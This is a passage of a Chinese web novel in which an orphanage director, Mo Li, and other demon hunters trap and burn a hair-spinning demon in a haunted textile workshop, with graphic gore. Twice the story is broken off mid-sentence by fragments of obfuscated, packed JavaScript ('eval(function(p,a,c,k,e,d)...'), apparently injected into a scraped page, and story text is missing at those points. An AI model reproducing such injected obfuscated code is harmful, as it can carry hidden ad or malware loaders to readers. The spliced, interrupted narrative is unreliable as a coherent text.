恶魔竟然敢伤他家孩子？！ 不能忍！ 莫离张开手尽量不碰到艾琳薇的伤口，任由艾琳薇在自己衣服上宣泄眼泪，哪怕被弄湿衣服也不在乎。 现在沾点儿眼泪没事，等一下沾的就是血了。 为了让莫离熟悉流程跟来的卡罗莱已经将现场扫查完毕，严肃道：“小茉莉，我们得快点儿去找那只恶魔了，这只恶魔很有可能是［祸物级］恶魔。” 虽然不知道为什么这只［祸物级］恶魔出现得那么突然，但事实摆在眼前，它已经伤害了许多人类，而且极具危险。 一旁的寸头猎魔人范德华点点头，朝莫离伸手比V。 莫离：什么意思？ 范德华这个人比他高半个头，紫发寸头，深紫断眉，看起来十分狠厉，像刻板印象里的黑/帮人物，一路上也没说什么话。 这手势该不会是警告他再慢点我就喂你子弹的意思吧？ 见莫离没反应，范德华解释道：“小茉莉新人，这个手势的意思是‘让我们出发吧！’，我自创的。” 他的声音比想象中要清亮年轻，也没张口就要给谁喂子弹、沉江。 莫离松了口气。不过……真的要这样喊他吗？ 时间确实刻不容缓，莫离没再犹豫，用手帕给艾琳薇擦了擦脸，拜托巡警照顾好她。 这会儿巡警已经确认这几个人都是猎魔人，尤其是卡罗莱，估计身经百战。 这就意味着，有百分百的安全，他不必担心。 “等等，院长大叔……”冷静下来的艾琳薇突然开口，“我想和你们一起去。” 此话一出，几个大人纷纷看向她。 卡罗莱早就被她这可爱又正经，害怕却冷静的模样戳中，非常想揉揉她的脸，但是理智让她克制住了这一念头。 她抱歉道：“哦可爱的艾琳薇，莫离先生和我们会处理一切的，你就让警察先生带你回去处理伤口吧。” 范德华心想，艾琳薇这个小女孩该不会是离不开莫离吧？ 想到这里，这会儿已经打破初印象的他再次觉得莫离这个朋友可交。 初见莫离，他还以为莫离是个高冷严肃派呢，害得他憋了一路，生怕莫离讨厌自己。 没想到莫离是个对孩子好的单身父亲。他总算放心了。 不过，范德华也认为不能带上艾琳薇。他伸出三根手指做钟摆摇手势，断眉一压：“小艾琳薇，这是‘不可以’的意思。” 被拒绝的艾琳薇欲言又止，莫离出声问道：“艾琳薇，你是不是看到了什么东西？” “那个……”艾琳薇犹豫片刻，道：“我听见那个恶魔说话了。” 卡罗莱和范德华俱是一惊。 听见恶魔说话？ 有的恶魔可以沟通，但绝不是普通人能够沟通的意思，只有拥有特殊能力的人才能够和恶魔交流。 这意思是艾琳薇具有［翻译］恶魔低语的能力？ “你确定吗？”莫离问道。 他声音温和，听起来只是在确认什么。艾琳薇紧张的心情有所缓和：“我一开始看见了它的影子，然后听见它嘴里一直在重复说什么话。我认为我可以听清楚它在说什么。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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比如，我契约的恶魔就有这个能力，给我们指明恶魔藏身之处，这能力太好用了，只需要付出一点儿血。” 牵着艾琳薇的莫离听见这话，觉得有些意思。 他暗自思忖，自己身上那东西会不会就是某只恶魔的能力？ 但他没有细想。 - 卡罗莱一行人走出几里地，最后来到几座纺织工坊前。 眼前有四座已经陈旧的纺织工坊，墙灰微微开裂卷起，看起来有些年代。 他们站在这些建筑前，身体涌起强烈的感觉：那恶魔就在纺织工坊里面！ 范德华身先士卒，伸出两根手指做鞠躬手势，“卡罗莱，小茉莉，还有不知道为什么跟来的警官，这是‘交给我’的意思。” 他想找工坊守夜人，但是，显然因为规模太小，这里没有守夜人。 不得已之下，他抽出背后双刀挥向上锁的门。 刀锋交错，刃光如暴雪，劈砍声干脆利落，上锁的门很快吱的一声被打开。 做完这些，范德华推门而入，下一秒一脚踩空摔入脚底下的空洞。 卡罗莱伸出手去抓他，可惜他是个寸头，要是有头发她就能抓住头发了。 而且就在她的身子进入工坊那一刻，黑暗攀上她的手将她拖入深渊。 在卡罗莱被吞噬后，莫离和艾琳薇以及巡警崔西三人也未能幸免于难，同样一个不留神被吸入纺织工坊。 重重摔到地上的几人爬起身，望见自己已身处工坊内部。 这儿是纺织机房，四周摆放着几张纺织机，未纺完的纱摆在一边。 不知是头顶还是脚底亦或是身后，哀转久绝的哭声一直在响。 哪怕他们捂起耳朵，悉悉索索的低语照样从指缝间钻进耳朵，听得人头皮发麻，san值直掉。 卡罗莱和范德华看清楚周围摆设，忽然有一丝不详的预感。 卡罗莱试着用契约的恶魔力寻找恶魔方位，却发现掌心指针一直摇摆不定，时而转得无影，时而慢慢跳格，仿佛失去方向。 她无奈止血，顿感棘手：“看来这只恶魔的恶魔力已经分化成熟了，竟然能造成这么一个空间困住我们，估计就是［祸物级］恶魔。 如果它继续发育下去，成为［灾祸级］恶魔不是问题。” 给艾琳薇当垫子的莫离让艾琳薇站好，支起身子，“恶魔还能发育啊，那我们真得快点儿把它杀了，不然越苟它越强，到时候我就苟不了了。” 卡罗莱：“……”小茉莉你又在说些奇怪又有趣的话了。 7. 美人计（猎魔日常） 谨慎地看了一圈纺织机房，暂时没有发现异常的几人退出房间，点燃煤油灯走过走廊。 人的影子被灯光映在走廊墙壁，像无数扭曲的鬼影。 莫离跟在艾琳薇身侧警惕四周，担心墙壁会不会像恐怖电影那样突然窜出什么鬼东西，给孩子留下心理阴影就不好了。 范德华和巡警崔西走在前方，卡罗莱断后。 走廊尽头有一条通往楼上的楼梯，楼梯后是一扇门，绕过楼梯似乎还有其他空间。 奥德里尔的纺织工坊规模不算大，只建了两层，楼上大概就是二楼，而门后推测是个堆放杂物的地下室，绕过楼梯则是工坊大厅。 身为前辈——虽然只是不常出任务的［接待者］，但卡罗莱还是觉得自己有必要在大家面前展露前辈风范。 于是她学着维加斯那样做指挥给大家分工，范德华负责探查二楼，巡警崔西负责探查地下室，她和莫离一起探查一楼。 至于艾琳薇，不必多说跟着莫离。 范德华点头，手指比OK手势，“保证完成任务。” 崔西不乐意了，摘下帽子：“我一个人？你们都是猎魔人，我可不是，我只是一个普通警察。” 他向莫离挑眉，过眉刘海半遮半掩那双碧眼，意思不言而喻：先生，这一切因你而起，你可得保证我的安全啊。 读懂崔西意思的莫离已读乱回：“我是新来的，卡罗莱需要保护我。艾琳薇是我院里的孩子，我需要保护她，综上所述，我们三个需要一起行动。我同意卡罗莱的安排。” 崔西：“……”你之前保证不拖后腿的话去哪儿了？ 他有些后悔自己的行为了，好好等其他警察来处理现场，做些收尾工作不好吗？为什么要头脑发热来猎魔一线？ 他真是疯了。 范德华搭上正在后悔的崔西的肩膀，“警官，要是你不乐意一个人行动，我们可以一块儿。” 不止在奥德里尔，可以说整个哥利亚城干猎魔人这行的人个子都高。 范德华一米九的个子在目测一米七五的崔西面前显得十分高大，崔西一个不小心就被当成了撑手的架子。 崔西：“……” 他权衡安全，决定和范德华一起行动。但前提是范德华挪开搭在他肩膀上的手！ 在范德华崔西交谈时，莫离仔细听着那不知源头的恶魔低语，身上奇异、难受的感觉越来越强烈。 形容来说，恶魔低语就像活跃的细长蠕虫，从四面八方来，钻进肌肤钻进骨头钻进身体啃食内脏，钻进耳朵钻破耳膜钻进脑子侵蚀意识。 他有种预感，如果听这声音久了，他们可能会精神失常，疯子一样歇斯底里。 意识到这种可能性的莫离开口：“大家试着找东西把耳朵塞住吧，聊胜于无。” 卡罗莱和范德华惊讶莫离直觉敏锐，居然在他们什么都还没说的情况下做出这种反应。 有些恶魔低语确实具有干扰人类精神的能力，幻境、暴力、低语……任何一种意象与行为都有可能包含［恶魔意志］，侵染人类的精神，让人类成为疯子！ 莫离将口袋另一条手帕撕开折叠揉在一起做耳塞，递给艾琳薇。 但艾琳薇没领情，自己用刀割了两片衣角揉作一团塞进耳朵。 动作熟练，看得莫离眼皮一跳，艾琳薇这孩子怎么随身带刀？ 看来回去后他有必要给孩子们上几堂安全教育课……他一边思考孤儿院的课程安排一边把耳塞塞进耳朵。 范德华和崔西先往上查探二楼，莫离和卡罗莱艾琳薇走向大厅。 走到大厅，恶魔的声音好像变得微弱，如同一个老人在秉烛自顾自念话。 “小艾琳薇，你现在能清楚恶魔的话吗？”卡罗莱摘下一只耳塞，弯腰询问。 艾琳薇对卡罗莱这个大姐姐有些好感，不仅仅因为卡罗莱替她包扎伤口，更因为她们有着同样的红发。 她的头发像罂/粟花，大姐姐的红发则像深沉的大丽花，异类的，熟悉的，亲切的红发。让她想到她的家人。 艾琳薇咬了咬唇：“我还在仔细地听，在这儿它的声音变得更模糊，我可能要一会儿才能听清楚……但我不会走神的。” “这样子啊……那你继续，慢些，仔细些。”卡罗莱对艾琳薇能不能发挥作用不抱希望。 她更多是看在莫离保证的份上才同意让艾琳薇跟来，而不是因为艾琳薇不确定的［翻译］能力。 莫离也知道艾琳薇所说的“能听懂恶魔的话”并不可控，想说什么，仔细一想，艾琳薇对他还有抱有戒心和敌意就没说。 算了，不打击孩子了。 来到大厅，四周阴森气息更加浓郁，凉飕飕的，凉意从脚底窜起，沿着脊骨往上攀直逼天灵盖。 不说是纺织工坊，莫离还以为在太平间。 他拢了拢外套，扫视一圈四周，并努力地东戳戳西戳戳，企图唤醒脑子里那道莫名其妙的声音。 只可惜什么也没有触发，仿佛测试场那时候响起的声音只是他的错觉。 “……”艾琳薇犹犹豫豫走到正在观察大厅摆设的莫离跟前。 莫离：“怎么了？” 艾琳薇：“……我听到它在自言自语，但是说的乱七八糟，比斯特洛说的话还要难听懂。” 待在孤儿院的斯特洛打了个喷嚏。 莫离思忖片刻，说：“你继续听。” 想到“鼓励教育”，又说一句：“没事，你在努力听懂它的话，已经很棒了。” 被鼓励的艾琳薇心情复杂。 范德华和崔西的探查工作完成得飞快。 “二楼堆积着一些成品衣和缝纫机，没有发现恶魔踪迹。” “地下室全是违规堆积的一捆捆棉、麻，也没有恶魔。” 这不奇怪，要是在二楼和地下室发现恶魔踪迹他们就和恶魔打起来了。 但奇怪的是，一楼大厅和其他房间也没有恶魔踪迹！ 恶魔仿佛消失不见，又无处不在。 “可恶！这到底是怎么回事！”卡罗莱无力地踹了两脚椅子。 她觉得自己的意志已经被侵染，不可抑制地暴躁起来。 才十几分钟，恶魔低语就侵染了她的意志，这也太快了！ 卡罗莱知道自己身为猎魔人被恶魔意志侵染实在无能，但没办法，她没有什么特殊能力对抗恶魔低语。 她只契约了两只恶魔，一只强化武器，一只探查恶魔方位。她没有能提供精神抵御的恶魔。 为了让自己冷静，卡罗莱偷偷给自己的掌心来了一刀。 疼痛使人清醒，脑子因此舒服些的她撕下衣角缠了一圈掩盖伤口。她可不想在一群后辈面前露出不好的模样。 一无所获的卡罗莱三人站在大厅面面相觑。 恶魔不见踪迹，存心是要躲起来耗死他们。 范德华此时也有些头脑发昏了，提议道：“我们直接砸门出去吧。” 他双手合十，虔诚说：“这是上天保佑的意思。” 莫离怎么也想不到，长相狠厉得像是会抢孩子的糖，路过的狗都要踹两脚的范德华居然最先想离开。 反差还挺大。 他正想说什么，眉目清醒的崔西道：“先生小姐们，我赞同这做法，我们先出去，等支援来。这恶魔想和我们躲猫猫，我们不能进了它的套路。” “我们的目的是什么？救人和猎魔！直接逃走那我们不仅白来一趟，而且还无法拯救那些女士。”卡罗莱摇摇头，觉得崔西真是胆小。 垂目将视线落在崔西和卡罗莱手中煤油灯的莫离抬眉，“走不了了，你们没发现吗，那盏煤油灯里的灯芯不是普通东西，看起来像是……头发。” 难怪他总觉得这地方奇怪，但又一直没找到具体哪里奇怪。现在仔细一看，才发现煤油灯这玩意儿早已呈现不对劲的地方。 头发既不能吸油也不能持续燃烧，绝不可能充当灯芯燃烧这么久，也就是说，这是一个反常识的空间。 身为警察的崔西对这话没什么反应，但猎魔人卡罗莱和范德华吓了一跳。 还真如此，要是他们误会这一点，他们会为自己的错误付出惨痛代价，被恶魔神不知鬼不觉杀死！ 范德华为了验证这一猜想，举刀劈砍窗户和墙壁，结果墙壁和窗户确实不损分毫。 事实并非卡罗莱说的那样，恶魔在纺织工坊制造空间困住他们，而是，他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他偏了偏头，散开的长发顺着肩线滑下去，有几缕贴在颈侧，衬得那截脖颈愈发修长。 整个人不藏锋芒，散发出如月的温柔…… 假的，根本不温柔。 解开头发的莫离反手从口袋掏出一把梳子开始暴力梳头，动作随意而熟练，仿佛在殴打头发。 他独自一人站在大厅，卡罗莱几人已经隐藏起来。 想到卡罗莱三人说要吸引恶魔注意力，莫离一边梳头一边讲故事： “清晨，小明开车上班，半路被路过的红绿灯绊了一跤，连人带车摔进恶魔的肚子。 摸黑打开车灯看清楚后，小明叹了口气，说，恶魔先生，你有胃病，你还是个霸总。 恶魔问他为什么，他说，因为我写的小说里霸总就像你这样有胃病。小明又说，如果你不快点治病的话等一下会很痛。 恶魔不相信小明说的话，小明一个起手开车在恶魔肚子乱撞，恶魔疼到直打滚。小明摇摇头，说，看吧我就说会痛…… 直到撞到恶魔痛昏厥时，小明这才收手，他对恶魔说，看你样子好像很痛苦，要不要我给你唱首歌缓解痛苦？ 恶魔根本没力气说话，他就当恶魔默许了，开始一展天籁。 恶魔听着他的歌声，彻底没力气，求他别唱了，越听越减寿，我放了你还不行吗……” 此故事是莫离自创的“不得不听的小明500事”，行文剧情讲究自由。 翻译来说就是“毫无逻辑，梦到哪句是哪句”。还没吸引到恶魔就先吸引到自己人。 某个角落。 崔西：“……这恶魔碰到小明，有点惨。” 范德华：“小明是个医生还是作家？” 卡罗莱：“也有可能是个音乐家。” 三人原本还有些闷燥的心情听到这故事后无一例外被挑起兴趣，脸上露出几分欣赏的表情。 唯一被故事打扰过的艾琳薇表情尴尬：“……” 院长大叔就爱讲这些莫名其妙的故事！ 沙沙沙。 寂静的纺织工坊忽然传出细响，卡罗莱范德华和崔西不约而同屏住呼吸，心提到嗓子眼： 美人计……咳，美发计还真有用！ 沙沙沙…… 那声音越来越响，像是有什么东西正在靠近。 但梳着头的莫离看起来浑然不觉，还在讲他那自创的“不得不听的小明500事”。 8. 纺织幽灵（猎魔日常） 呼—— 一阵阴风从工坊某处吹来，掀起莫离几缕墨色长发。 看起来毫无知觉的莫离实际在用余光观察四周，留意着恶魔什么时候出现。 他能察觉到有什么东西正在［注视］他，这种注视感不太强烈，只是让他头皮发麻，总觉得下一秒恶魔就会窜出来拽他头发。 虽然他无法看到任何可疑的恶魔踪迹，但毫无疑问，恶魔正在逼近。 卡罗莱手握短刀，全神贯注地听着越来越近的声音，只等恶魔现身就动手。 范德华默默竖起两根手指给自己加油，随后半举起手随时准备抽出背后双刀。 只是巡警的崔西看看卡罗莱，又看看范德华，默默掏出手枪作防御姿态。 被护在一侧的艾琳薇强撑精神，仔细捕捉混乱的恶魔低语。她要从这些话里找到能帮助大家的细节才行，她不想当个跟来拖后腿的小无赖。 正在思考恶魔会从地底还是天花板出现的莫离梳头的动作慢了下来。 唰—— 疾风忽起，莫离背后一凉，脑中那道奇怪的声音躺尸多时终于再次响起—— 【检测到［拟态型］未知恶魔正在发动攻击，是否使用［闪避］技能？】 莫离应得飞快：使用使用！ 使用技能的莫离显露出在测试场那时的快速闪避，头发翻飞，身子眨眼间退到两米后。 就在他离开的瞬间，他原本站立的地板砰的一声被抓出半个坑，碎屑噼里啪啦飞溅。 嘶——那么快那么狠！要是这一下没躲开，别说头皮被拽下来，身体估计都得皮开肉绽。 莫离算是发现了，脑子里的声音需要特定时候才能触发。 ［闪避］技能、［定兔］技能，每次触发都能像开挂那样帮助他战斗。 不过，好听点儿说是挂，但事实上，谁家的挂那么不可控？ 莫离不准备依赖这个挂，但要说除此之外他有什么能力。 回答是，没有。 他的办法是，烂命一条就是干。 想着，莫离随手扎起头发，抽出背后的弯刀朝可疑的地方猛挥两下。 这弯刀是卡罗莱出发前给他的临时武器。越强的恶魔越需要特定的强大的武器才能猎杀，而那些武器都得花钱买，他穷得叮当响，只能用普通的猎魔武器。 刀刃劈开空气，好像击中了恶魔，又好像没击中。 唰—— 阴风再起，莫离挥刀猛砍，这一次他依旧没感受到击中什么的触感。 卡罗莱发现了不对劲，这只恶魔竟完全隐匿了身影！真的是拟态型恶魔吗？ 范德华一只眼睛往上挑一只眼往下压，紧紧盯着眼前怪异的一幕。 他加入猎魔公会半年来从来没对付过看不见的恶魔，结果今天和新人第一次出任务就碰上了，这是不是说明莫离是他的“幸运”…… 砰！砰！砰！ 崔西没想那么多，抬手朝起风的地方连开三枪。子弹要么打到地板弹飞碎屑，要么嵌入墙壁，根本没能伤到恶魔分毫。 作为在场唯一一个能［翻译］恶魔语和看到恶魔影子的人，艾琳薇眯起眼睛努力看清楚那个黑影。 她看到那黑影正在逃窜，马上指着纺织机房的方向大喊：“它往那边跑了！” 得到提醒的莫离迅速冲向纺织机房。 来不及细想的卡罗莱一个箭步冲出去，动作矫健敏捷。 掰了两下手指的范德华和犹豫的崔西带着艾琳薇紧跟其后。 寂静的工坊忽然传出纺车吱呀转动的声音。 追着恶魔而来的莫离穿过纺织机房，发现机房墙壁一侧徒然出现了一扇门。 推门一看，出乎意料地发现一个幸存者。 那女人坐在纺车前，弓着背，像一只巨大的蛆虫。她的手没有碰任何原料，纺锤上却有纱线在成形，灰黑色的，带着不自然的光泽。 那根线既不是棉花也不是亚麻，从纺车上方悬垂的暗处而来，源头隐没在头顶的阴影里。 顺着往上看，莫离倒吸一口凉气。 只见天花板垂下紧紧扎成一束的头发，像马尾巴那样从房梁的钩子上挂下来。 有什么东西顺着线滴滴答答落在女人膝前的木盆里，不是水，而是已经半干的暗红色稠液。 纺锤每转一圈，那束头发就被向上扯动一寸。新剥落的组织碎屑从发根处纷纷扬扬地落下来，像黑色的雪花，又像是烧焦的皮肉在风中散开。 有些碎片大一些，能看清是半透明、边缘卷曲的角质层，下面粘连着暗红色的真皮组织，带着湿漉漉的光。 呕——莫离san值掉一半。 女人对莫离的出现毫不在意，动作不停。 吱呀。吱呀。 纺车把一缕头发从发束中分离出来，捻进正在成形的纱线里。 那些头发每一根都裹着干涸的血浆，有些地方还挂着米粒大小的碎肉，在纺锤的旋转中被压扁、拉长，像线虫一样被编进纤维的肌理中。 纱线表面因此呈现出斑驳的纹路，深褐色与灰白色交替，偶尔闪出一点湿润的新鲜红色。 莫离强忍恶心踏入其中，询问：“女士，你怎么在这儿？还有其他幸存者吗？” 空气布满油脂和腐肉的混合腥臭气味，甜腻又恶心，完全是对精神、胃部和鼻子的三重挑战。 地面上溅落的血迹已经结了厚厚一层壳，踩上去会发出细碎的断裂声，像踩过一层脆弱的冰面。 莫离觉得自己的san值已经残血了，从女人口中问出幸存者就马上离开！ 走近之后，莫离看到女人的指尖沾满黑色的膏状物，看起来像血干透之后与头皮油脂混合的产物，黏腻如焦油。 女人一直沉默不语，他停下靠近的脚步。 吱呀。吱呀。 纱线越来越长，从纺锤上垂下来，如同一根湿漉漉的、没有尽头的脐带。 “女士？” 那女人终于有了动静，站起身转过来，露出一张苍白的脸。 “我要织布……给我头发……我要织布……给我头发……我要织布给我头发我要织布给我头发……” 面色苍白得像死了三天的女人嘴里不断重复着这两句话，语气痴狂得和守财奴为珠宝发表宣言没什么两样。 她双目紧闭，提线木偶般朝莫离扑过来。 莫离再次使用技能躲开扑过来的女人，忽然闻到一股腐臭味。 目光触及女人的面庞，他发现女人身上布满尸斑……还真死了三天！ 她被恶魔附身了！ - 追赶来的卡罗莱四人看到房间景象，吓了一跳。 崔西赶紧捂上艾琳薇的眼睛。别说小孩子了，哪怕是他们看到这场景也得做噩梦！ 但艾琳薇掰开了他的手，强作严肃：“我要盯着那恶魔！” 呕—— 范德华胃里翻江倒海，想吐。崔西也受不了这副惊悚的画面，有股给自己的眼睛开一枪的冲动。 莫离此时正在躲避女人的攻击，一闪一躲尽显“苟人”风范。 女人见打不着莫离，恼羞成怒地发动恶魔力。 沙沙沙…… 墙壁、地面、天花板，目之所及四面八方陡然长出头发，灰白交错的纱线也像活过来了，化身鞭子朝莫离猛抽过来。 “崔西警官，你保护好小艾琳薇！”卡罗莱脸色一变，丢下这句话后迅速加入战斗。 范德华也没有墨迹，和卡罗莱一样冲上前。 莫离眼见着一堆头发像触手一样活过来攻击自己，起了一身鸡皮疙瘩。 他一直在使用技能躲闪，但头发攻击不减反增，万发交错，在半空中挥出阴风。 真把他当M来抽了！可恶。 恶魔攻击就像是三折叠，怎么躲，都有头发抽。 就在莫离差点儿被一束头发甩到时，出现在身后的卡罗莱一个旋踢起跳挥刀将头发割断。 她动作凛冽干脆，没有章法，但每一击都落到实处，割断不断重生挥舞的头发。一举一动令人目不暇接，像一只正在捕猎的母狮，纯粹的攻击压制。 一旁的范德华双刀同样冷冽，体术虽没有卡罗莱强，但用刀技巧熟稔轻快，斩断一片头发。 卡罗莱被抽到几下，除了血肉翻卷的疼痛外，脑袋不适感更加强烈，像有什么东西从伤口钻进脑子。 她砍断一圈头发，为莫离清除一片区域：“小茉莉，你去对付那个女人！这恶魔能操纵这么多具有真实伤害的头发，留给本体的恶魔力肯定更少，你能对付！” “好。莫离没有犹豫，挥刀对付女人。 “范德华，等一下找到机会就去帮小茉莉！” “OK！” 说话间，四周头发越来越密集，铺天盖地，完全没给卡罗莱和范德华喘息的时间。 卡罗莱一个不小心被头发编织的纱线抽到了脸，血痕顿起。 她瞬间紧咬牙关，面目狰狞：“该死的恶魔，竟然敢伤我的脸，不让你碎尸万段算我卡罗莱白活二十五年！” 她狠狠地飞身踹断、割断、扯断能碰到的一切头发，像 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女人完全没理会莫离，口中念念有词：“我织布是为了赚钱……辛苦……赚钱……干活……很累……” 她面目悲绝地哭诉：“我……赚钱……你……放过我……” 如果女人是正常人，莫离还能动容片刻。 但现在女人皮下显然是恶魔，他对恶魔这种行为不屑一顾，你个恶魔还真演上了！ 唵，萨皤啰罚曳……莫离在心中默念大悲咒，嘴上说着不好意思冒犯女士你的尸体了，手诚实地使出全身力气抡圆手中弯刀，势不可挡朝女人脖子猛挥而去。 他的动作大开大合，毫无防御，但他没担心会不会被恶魔抓住机会反杀。 管他呢，人早晚有一死，或被车创死，或被恶魔杀死，对于他来说没什么区别。 他现在只有一个念头，把恶魔杀了，获得报酬。 死在恶魔手下应该会有抚恤金送到孤儿院的吧？ 莫离速度飞快，恶魔附身的女人躲闪不及，脖子被结结实实砍断，头颅像西瓜咚咚咚掉在地上。 倒地的女人抽搐一下，四周的头发并没有停止攻击。 这都不死？莫离一瞬惊讶，眼见着一阵风从女人的尸体逃窜而出。 “院长，往左边！恶魔在那儿！”被崔西挡在胳膊下的艾琳薇提起一口气大声提醒莫离。 好孩子！好助攻！ 莫离按着艾琳薇的指示朝左边一通劈砍，刀刀奔着砍死恶魔的念头去。 然而，这些攻击伤不到恶魔半分，对于恶魔而言和被蚊子叮了一口没有区别。莫离打了一通，恶魔都没事。 莫离有点儿崩溃了，打地鼠都没那么累。再这么耗下去，不是恶魔先死，而是他们先力竭！ 有没有办法能把这恶魔除了啊！ 心诚则灵，脑海中的声音似乎感应到莫离的愿望，久违地说出第三句话—— 【检测到宿主与未知恶魔战斗，是否花费一百点恶魔力检测恶魔品种？】 莫离：…… 不到危急关头愣是不会说半句话是吧？人机挂。 有挂不用是傻子。莫离回答：给我检测恶魔品种。 ——【开始检测……检测完毕。 恶魔为［拟态型］恶魔，拟态［纺织幽灵］，普通人不可见，可寄生尸体，可操控头发进行攻击； 目前等级：7阶［祸物级］； 弱点：火焰】 怕火？ 莫离听到关键信息，古井无波的眼睛有微光闪过。 打不死是吧？那我就烧了你。 虽然这个空间是恶魔造出来的，里面的煤油灯恐怕对恶魔造不成伤害，但是……他们随身带的东西不是恶魔的！ 莫离脱下外套，二话不说拿出火柴，将外套点燃。 轻薄的黑色外套很快燃起火焰，在昏暗中熊熊燃烧。 恶魔看出他想做什么，马上去阻止他。 场外辅助艾琳薇才不给它机会，大喊： “院长！它想伤害你！右边！” 得到提醒的莫离马上闪身，恶魔爪子没打中他，只划破了他的衬衫，露出半个身子的肌肤。 莫离黑目平静，用力将燃得越来越旺盛的外套扔向那堆触手头发。 燃火的外套如同引线，骤然将头发点燃。 吼—— 恶魔发出嚎叫，莫离抓住机会往外跑。 “往大厅门口跑！” 9. 任务完成（猎魔日常） 随着火焰吞噬那堆头发，工坊开始崩塌，东西噼里啪啦塌陷掉落，空间扭曲难以站稳。 尽头处原本严丝合缝的大厅也开始崩塌，恶魔空间被打破了！ 火焰极速蔓延，有些头发还在垂死挣扎攻击他们，无一例外被愤怒的卡罗莱和范德华给砍断了。 他们跑得飞快，背后恶魔凄厉的喊叫尖锐得能刺破耳膜。 来到大厅门口，他们没有犹豫，用力用身体撞上去。 砰！ 一切混乱的思绪和恶魔低语带来在这一刻消失。 视线骤黑骤亮，他们发现自己身处纺织工坊背后的空地。 恶魔嚎叫逐渐清晰又逐渐消失，身后有火光跳跃。 后头一看，一间小仓库在视线里被烧成灰烬。 他们顺利逃出生天了。 “哈哈哈哈，惊险！”卡罗莱回味刚刚跟恶魔的战斗，大笑几声。 跪在地上的范德华沮丧地看着自己留下两条伤的手，小声骂：“该死的恶魔，去死！” 崔西劫后余生地躺在地上，长长呼出一口气，苦笑：“我不想再经历一边这种遭遇了……” 这份工作果然比想象的要危险，他没听老崔西的话当猎魔人是对的。 等喘过气，卡罗莱和崔西看向这次行动的关键人物莫离。 他脸上无伤，容颜安静，神情寡淡，发绳不知道什么时候断掉，长发凌乱地垂落胸前，恰好遮住破烂衬衫遮不住的肌肤，俨然战损。 注意到他们正在看自己，莫离扯唇，唇下小痣随着微微扯起的弧度染上一丝笑意：“猎魔真是刀尖上舔血的工作，报酬高是我应得的。” 卡罗莱：酷！ 范德华：小茉莉新人还真厉害！ 崔西：…… 战损版莫离站起身，扯了扯衣服遮住身子，马上去查看艾琳薇的情况。 艾琳薇遭这一顿，后背的伤经受二次伤害扯出血，疼得她小脸发白，摇摇欲坠。 莫离眼疾手快接住她，让她免受摔倒危害。 他避开艾琳薇背后伤口，将艾琳薇抱起来，轻声问：“艾琳薇，你怎么样？” 艾琳薇将头埋在他肩膀上，嘟嘟囔囔地在说什么，额头发丝被冷汗粘在一块儿，手脚发凉，脸颊却烫得惊人。 这是发烧了。 “我还需要做什么吗？”莫离问卡罗莱，“艾琳薇好像发烧了，我要去一趟医院。” 他有些担心，艾琳薇的伤口会不会感染了。 想到这点，他突然有些后悔，即使孩子再怎么坚持，有些事情还是不应该让他们做的。 尊重孩子和不让孩子陷入危险并非难以两全，下次，他会更谨慎考虑孩子的请求。 他不能辜负托莉娜的遗言。 “你先送小艾琳薇去医院吧，剩下的交给我们处理。”卡罗莱想到什么，“等她醒了，告诉她她是个很棒的小女孩，卡罗莱姐姐说的。” 这恶魔已经被猎杀，只剩下寻找幸存者和清理现场的工作，不需要莫离再呆在这儿了。 莫离抬步，突然想起自己身无分文：“那个，报酬能不能预支……” “……”卡罗莱摸了摸皮裤口袋，“抱歉小茉莉，我没带钱。” 收起枪的崔西来到莫离身侧：“我可以和你一起将艾琳薇送去医院，还能顺便借钱给你。” 他的帽子在与恶魔头发的乱斗中掉落，过眉微长的头发乱糟糟的，褪去身为警察的威严感，显得他那张有些严肃的脸亲切起来。 莫离点头致谢，跟着崔西一块儿离开了。 “喂范德华，起来工作了，看看小艾琳薇希望我们拯救的人有没有幸存下来。”卡罗莱轻拍范德华的脑袋，提醒道。 范德华从手受伤的悲伤中回神，和卡罗莱一起再次迈入纺织工坊。 这一次他们没再被拉进什么恶魔空间，而是进入真正的纺织工坊。 - 去医院的路并不复杂，只是有些路灯坏了，一段光明一段昏暗。 “你知道的，这地方人少，而且最近恶魔数量多了起来，有的路灯被那些畜牲恶魔弄坏，修路灯的人也被畜牲恶魔带走，很长时间都会是这样了。”崔西解释道。 莫离：“我懂。” 崔西：“……那就好。” 莫离不敢放慢脚步，走得飞快。 一旁的崔西观察着他，像在观察有意思的嫌疑人。 看起来瘦弱的莫离不仅力气大，而且还能在与恶魔的战斗中冷静下来取胜，实在令人意外。 如果说是猎魔人的缘故，那也有些奇怪。 比如卡罗莱，那个女人体术很强，他敢保证他认识的普通警察没一个能打得过她，又比如范德华，双刀技术很强，他甚至怀疑他能挡下子弹。 他们这种能力都肉眼可见——卡罗莱肌肉不多不少很矫健，范德华双手动作灵活。 而且他们还进行了传说中的猎魔仪式——契约恶魔，拥有这种能力并不奇怪。 然而，同为猎魔人的莫离能力却不太清晰。 莫离虽然比他高，但是身子显而易见比他要纤瘦，体术不可能有多强，要说运用武器厉害，那也不是，莫离乱挥弯刀的动作就是个小白。 要说契约了恶魔，那更不可能了，他亲耳听到莫离甚至连契约恶魔是什么都不知道。 但是这样一个莫离却能发现恶魔空间的存在，躲过恶魔攻击，直到最后想到用火将恶魔烧死。 怎么说呢，这种感觉，太违和了。 他陷入思忖，氛围安静。 片刻后，莫离打破寂静。 他侧目看向崔西：“崔西警官，虽然我很感谢你愿意借钱给我，但是我还是想问一句，你为什么要跟来？” 崔西对上莫离漂亮却没有什么情绪的眼睛，顿了几秒，说：“保护民众是我的职责。” 莫离：“……”好吧。听起来很有道理。 “等有钱我会还你。” “这个不用了，如果没有艾琳薇，我们或许会更艰难，比如陷入死亡的危险，所以就当我对她的酬谢吧。”崔西回答。 面对女工被恶魔抓走，艾琳薇一个小孩子比他更有责任感，面对危险，艾琳薇也比他表现得更勇敢，他说不羞愧那是假的。 他想，这才是他真正跟来的原因。 没想到莫离断然拒绝：“那不行。我现在是艾琳薇的监护人，不管是她还是我欠你钱都是我欠你钱，所以我会还你钱的。” “为什么？”崔西不自觉挑眉。 莫离一本正经回答：“因为我得了一种欠别人什么东西就会痛苦的病。此病就等同于鱼不能离开水，鸟儿不能离开天空。” 鱼离开水就会死，鸟儿离开天空就会折坠？ 